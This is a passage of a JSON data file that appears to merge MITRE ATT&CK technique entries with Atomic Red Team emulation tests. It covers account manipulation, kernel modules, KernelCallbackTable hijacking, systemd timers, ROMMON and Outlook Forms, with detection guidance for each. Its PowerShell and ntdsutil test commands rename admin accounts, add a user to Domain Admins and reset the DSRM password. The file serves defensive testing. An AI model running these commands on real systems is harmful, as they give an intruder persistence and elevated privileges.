- "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM",
- "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017."
- },
- {
- "source_name": "GitHub Mimikatz Issue 92 June 2017",
- "url": "https://github.com/gentilkiwi/mimikatz/issues/92",
- "description": "Warren, J. (2017, June 22). lsadump::changentlm and lsadump::setntlm work, but generate Windows events #92. Retrieved December 4, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may manipulate accounts to maintain access to victim systems. Account manipulation may consist of any action that preserves adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. \n\nIn order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
- "modified": "2022-04-18T14:17:07.164Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Account Manipulation",
- "x_mitre_detection": "Collect events that correlate with changes to account objects and/or permissions on systems and the domain, such as event IDs 4738, 4728 and 4670.(Citation: Microsoft User Modified Event)(Citation: Microsoft Security Event 4670)(Citation: Microsoft Security Event 4670) Monitor for modification of accounts in correlation with other suspicious activity. Changes may occur at unusual times or from unusual systems. Especially flag events where the subject and target accounts differ(Citation: InsiderThreat ChangeNTLM July 2017) or that include additional flags such as changing a password without knowledge of the old password.(Citation: GitHub Mimikatz Issue 92 June 2017)\n\nMonitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity.\n\nMonitor for unusual permissions changes that may indicate excessively broad permissions being granted to compromised accounts. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged [Valid Accounts](https://attack.mitre.org/techniques/T1078)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Creation",
- "User Account: User Account Modification",
- "File: File Modification",
- "Group: Group Modification",
- "Active Directory: Active Directory Object Modification"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1098"
- },
- "atomic_tests": [
- {
- "name": "Admin Account Manipulate",
- "auto_generated_guid": "5598f7cb-cf43-455e-883a-f6008c5d46af",
- "description": "Manipulate Admin Account Name\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$x = Get-Random -Minimum 2 -Maximum 9999\n$y = Get-Random -Minimum 2 -Maximum 9999\n$z = Get-Random -Minimum 2 -Maximum 9999\n$w = Get-Random -Minimum 2 -Maximum 9999\nWrite-Host HaHa_$x$y$z\n\n$fmm = Get-LocalGroupMember -Group Administrators |?{ $_.ObjectClass -match \"User\" -and $_.PrincipalSource -match \"Local\"} | Select Name\n\nforeach($member in $fmm) {\n if($member -like \"*Administrator*\") {\n $account = $member.Name -replace \".+\\\\\\\",\"\" # strip computername\\\n $originalDescription = (Get-LocalUser -Name $account).Description\n Set-LocalUser -Name $account -Description \"atr:$account;$originalDescription\".Substring(0,48) # Keep original name in description\n Rename-LocalUser -Name $account -NewName \"HaHa_$x$y$z\" # Required due to length limitation\n Write-Host \"Successfully Renamed $account Account on \" $Env:COMPUTERNAME\n }\n }\n",
- "cleanup_command": "$list = Get-LocalUser |?{$_.Description -like \"atr:*\"}\nforeach($u in $list) {\n $u.Description -match \"atr:(?[^;]+);(?.*)\"\n Set-LocalUser -Name $u.Name -Description $Matches.Description\n Rename-LocalUser -Name $u.Name -NewName $Matches.Name\n Write-Host \"Successfully Reverted Account $($u.Name) to $($Matches.Name) on \" $Env:COMPUTERNAME\n}\n",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Domain Account and Group Manipulate",
- "auto_generated_guid": "a55a22e9-a3d3-42ce-bd48-2653adb8f7a9",
- "description": "Create a random atr-nnnnnnnn account and add it to a domain group (by default, Domain Admins). \n\nThe quickest way to run it is against a domain controller, using `-Session` of `Invoke-AtomicTest`. Alternatively,\nyou need to install PS Module ActiveDirectory (in prereqs) and run the script with appropriare AD privileges to \ncreate the user and alter the group. Automatic installation of the dependency requires an elevated session, \nand is unlikely to work with Powershell Core (untested).\n\nIf you consider running this test against a production Active Directory, the good practise is to create a dedicated\nservice account whose delegation is given onto a dedicated OU for user creation and deletion, as well as delegated\nas group manager of the target group.\n\nExample: `Invoke-AtomicTest -Session $session 'T1098' -TestNames \"Domain Account and Group Manipulate\" -InputArgs @{\"group\" = \"DNSAdmins\" }`\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "account_prefix": {
- "description": "Prefix string of the random username (by default, atr-). Because the cleanup deletes such account based on\na match `(&(samaccountname=#{account_prefix}-*)(givenName=Test))`, if you are to change it, be careful.\n",
- "type": "string",
- "default": "atr-"
- },
- "group": {
- "description": "Name of the group to alter",
- "type": "string",
- "default": "Domain Admins"
- },
- "create_args": {
- "description": "Additional string appended to New-ADUser call",
- "type": "string",
- "default": ""
- }
- },
- "dependencies": [
- {
- "description": "PS Module ActiveDirectory\n",
- "prereq_command": "Try {\n Import-Module ActiveDirectory -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n",
- "get_prereq_command": "if((Get-CimInstance -ClassName Win32_OperatingSystem).ProductType -eq 1) {\n Add-WindowsCapability -Name (Get-WindowsCapability -Name RSAT.ActiveDirectory.DS* -Online).Name -Online\n} else {\n Install-WindowsFeature RSAT-AD-PowerShell\n}\n"
- }
- ],
- "executor": {
- "command": "$x = Get-Random -Minimum 2 -Maximum 99\n$y = Get-Random -Minimum 2 -Maximum 99\n$z = Get-Random -Minimum 2 -Maximum 99\n$w = Get-Random -Minimum 2 -Maximum 99\n\nImport-Module ActiveDirectory\n$account = \"#{account_prefix}-$x$y$z\"\nNew-ADUser -Name $account -GivenName \"Test\" -DisplayName $account -SamAccountName $account -Surname $account -Enabled:$False #{create_args}\nAdd-ADGroupMember \"#{group}\" $account\n",
- "cleanup_command": "Get-ADUser -LDAPFilter \"(&(samaccountname=#{account_prefix}-*)(givenName=Test))\" | Remove-ADUser -Confirm:$False\n",
- "name": "powershell"
- }
- },
- {
- "name": "Password Change on Directory Service Restore Mode (DSRM) Account",
- "auto_generated_guid": "d5b886d9-d1c7-4b6e-a7b0-460041bf2823",
- "description": "Change the password on the Directory Service Restore Mode (DSRM) account using ntdsutil by syncing to existing account\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sync_account": {
- "description": "Account to sync password from",
- "type": "string",
- "default": "%username%"
- }
- },
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "ntdsutil \"set dsrm password\" \"sync from domain account #{sync_account}\" \"q\" \"q\"\n"
- }
- }
- ]
- },
- "T1547.006": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wayne Silva, F-Secure Countercept",
- "Anastasios Pingios",
- "Jeremy Galloway",
- "Red Canary",
- "Eric Kaiser @ideologysec"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6",
- "created": "2020-01-24T17:42:23.339Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.006",
- "url": "https://attack.mitre.org/techniques/T1547/006"
- },
- {
- "source_name": "Apple Developer Configuration Profile",
- "url": "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf",
- "description": "Apple. (2019, May 3). Configuration Profile Reference. Retrieved September 23, 2021."
- },
- {
- "source_name": "Apple Kernel Extension Deprecation",
- "url": "https://developer.apple.com/support/kernel-extensions/",
- "description": "Apple. (n.d.). Deprecated Kernel Extensions and System Extension Alternatives. Retrieved November 4, 2020."
- },
- {
- "source_name": "System and kernel extensions in macOS",
- "url": "https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web",
- "description": "Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022."
- },
- {
- "source_name": "GitHub Reptile",
- "url": "https://github.com/f0rb1dd3n/Reptile",
- "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018."
- },
- {
- "source_name": "Volatility Phalanx2",
- "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html",
- "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018."
- },
- {
- "source_name": "iDefense Rootkit Overview",
- "url": "http://www.megasecurity.org/papers/Rootkits.pdf",
- "description": "Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018."
- },
- {
- "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs",
- "url": "http://tldp.org/HOWTO/Module-HOWTO/x197.html",
- "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018."
- },
- {
- "source_name": "CrowdStrike Linux Rootkit",
- "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/",
- "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017."
- },
- {
- "source_name": "GitHub Diamorphine",
- "url": "https://github.com/m0nad/Diamorphine",
- "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018."
- },
- {
- "source_name": "Securelist Ventir",
- "url": "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
- "description": "Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018."
- },
- {
- "source_name": "User Approved Kernel Extension Pike\u2019s",
- "url": "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/",
- "description": "Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading\u2026. Retrieved September 23, 2021."
- },
- {
- "source_name": "Linux Kernel Module Programming Guide",
- "url": "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html",
- "description": "Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018."
- },
- {
- "source_name": "Linux Kernel Programming",
- "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf",
- "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."
- },
- {
- "source_name": "Trend Micro Skidmap",
- "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
- "description": "Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."
- },
- {
- "source_name": "Purves Kextpocalypse 2",
- "url": "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/",
- "description": "Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021."
- },
- {
- "source_name": "RSAC 2015 San Francisco Patrick Wardle",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018."
- },
- {
- "source_name": "Synack Secure Kernel Extension Broken",
- "url": "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/",
- "description": "Wardle, P. (2017, September 8). High Sierra\u2019s \u2018Secure Kernel Extension Loading\u2019 is Broken. Retrieved April 6, 2018."
- },
- {
- "source_name": "Wikipedia Loadable Kernel Module",
- "url": "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
- "description": "Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload
and kextunload
commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)\n\nSince macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as \"Legacy System Extensions\" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)\n\nAdversaries can use LKMs and kexts to conduct [Persistence](https://attack.mitre.org/tactics/TA0003) and/or [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)",
- "modified": "2022-04-20T18:53:39.406Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Kernel Modules and Extensions",
- "x_mitre_detection": "Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands: modprobe
, insmod
, lsmod
, rmmod
, or modinfo
(Citation: Linux Loadable Kernel Module Insert and Remove LKMs) LKMs are typically loaded into /lib/modules
and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nAdversaries may run commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) Adversaries may also execute commands to identify the exact version of the running Linux kernel and/or download multiple versions of the same .ko (kernel object) files to use the one appropriate for the running system.(Citation: Trend Micro Skidmap) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly. These are typically obtained through the operating systems package manager and installed like a normal package. On Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)
On RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)
\n\nOn macOS, monitor for execution of kextload
commands and user installed kernel extensions performing abnormal and/or potentially malicious activity (such as creating network connections). Monitor for new rows added in the kext_policy
table. KextPolicy stores a list of user approved (non Apple) kernel extensions and a partial history of loaded kernel modules in a SQLite database, /var/db/SystemPolicyConfiguration/KextPolicy
.(Citation: User Approved Kernel Extension Pike\u2019s)(Citation: Purves Kextpocalypse 2)(Citation: Apple Developer Configuration Profile)\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Process: Process Creation",
- "Command: Command Execution",
- "Kernel: Kernel Module Load"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.006"
- },
- "atomic_tests": []
- },
- "T1574.013": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde",
- "type": "attack-pattern",
- "created": "2022-02-25T15:27:44.927Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.013",
- "url": "https://attack.mitre.org/techniques/T1574/013"
- },
- {
- "source_name": "Lazarus APT January 2022",
- "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/",
- "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."
- },
- {
- "source_name": "FinFisher exposed ",
- "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
- "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022."
- },
- {
- "source_name": "Windows Process Injection KernelCallbackTable",
- "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/",
- "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022."
- },
- {
- "source_name": "NtQueryInformationProcess",
- "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess",
- "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022."
- }
- ],
- "modified": "2022-03-22T15:47:33.915Z",
- "name": "KernelCallbackTable",
- "description": "Adversaries may abuse the KernelCallbackTable
of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable
can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll
is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable
by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable
can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess()
[Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable
can be duplicated, and a function in the table (e.g., fnCOPYDATA
) set to the address of a malicious payload (ex: via WriteProcessMemory()
). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable
may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable
to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\n\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory()
and NtQueryInformationProcess()
with the parameter set to ProcessBasicInformation
may be used for this technique.(Citation: Lazarus APT January 2022)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution"
- ]
- },
- "atomic_tests": []
- },
- "T1053.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "SarathKumar Rajendran, Trimble Inc"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
- "type": "attack-pattern",
- "created": "2020-10-12T17:50:31.584Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.006",
- "url": "https://attack.mitre.org/techniques/T1053/006"
- },
- {
- "source_name": "archlinux Systemd Timers Aug 2020",
- "url": "https://wiki.archlinux.org/index.php/Systemd/Timers",
- "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020."
- },
- {
- "source_name": "Systemd Remote Control",
- "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/",
- "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021."
- },
- {
- "source_name": "Linux man-pages: systemd January 2014",
- "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
- "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
- "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
- "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
- "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
- "source_name": "gist Arch package compromise 10JUL2018"
- },
- {
- "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
- "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
- "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"
- }
- ],
- "modified": "2021-07-27T16:43:25.027Z",
- "name": "Scheduled Task/Job: Systemd Timers",
- "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer
that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl
command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer
file must have a corresponding .service
file with the same name, e.g., example.timer
and example.service
. .service
files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/
and /usr/lib/systemd/system
while user level are written to ~/.config/systemd/user/
.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system
, /usr/lib/systemd/system/
, and ~/.config/systemd/user/
directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all
. Analyze the contents of corresponding .service
files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1053.006"
- },
- "atomic_tests": []
- },
- "T1542.004": {
- "technique": {
- "x_mitre_platforms": [
- "Network"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc",
- "type": "attack-pattern",
- "created": "2020-10-20T00:05:48.790Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1542.004",
- "url": "https://attack.mitre.org/techniques/T1542/004"
- },
- {
- "source_name": "Cisco Synful Knock Evolution",
- "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
- "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."
- },
- {
- "source_name": "Cisco Blog Legacy Device Attacks",
- "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
- "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
- }
- ],
- "modified": "2020-10-22T02:18:19.568Z",
- "name": "ROMMONkit",
- "description": "Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Firmware: Firmware Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1137.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Office 365"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
- "type": "attack-pattern",
- "created": "2019-11-07T20:06:02.624Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1137.003",
- "url": "https://attack.mitre.org/techniques/T1137/003"
- },
- {
- "source_name": "SensePost Outlook Forms",
- "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/",
- "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."
- },
- {
- "source_name": "Microsoft Detect Outlook Forms",
- "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
- "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."
- },
- {
- "source_name": "SensePost NotRuler",
- "url": "https://github.com/sensepost/notruler",
- "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."
- }
- ],
- "modified": "2021-08-16T21:29:19.697Z",
- "name": "Outlook Forms",
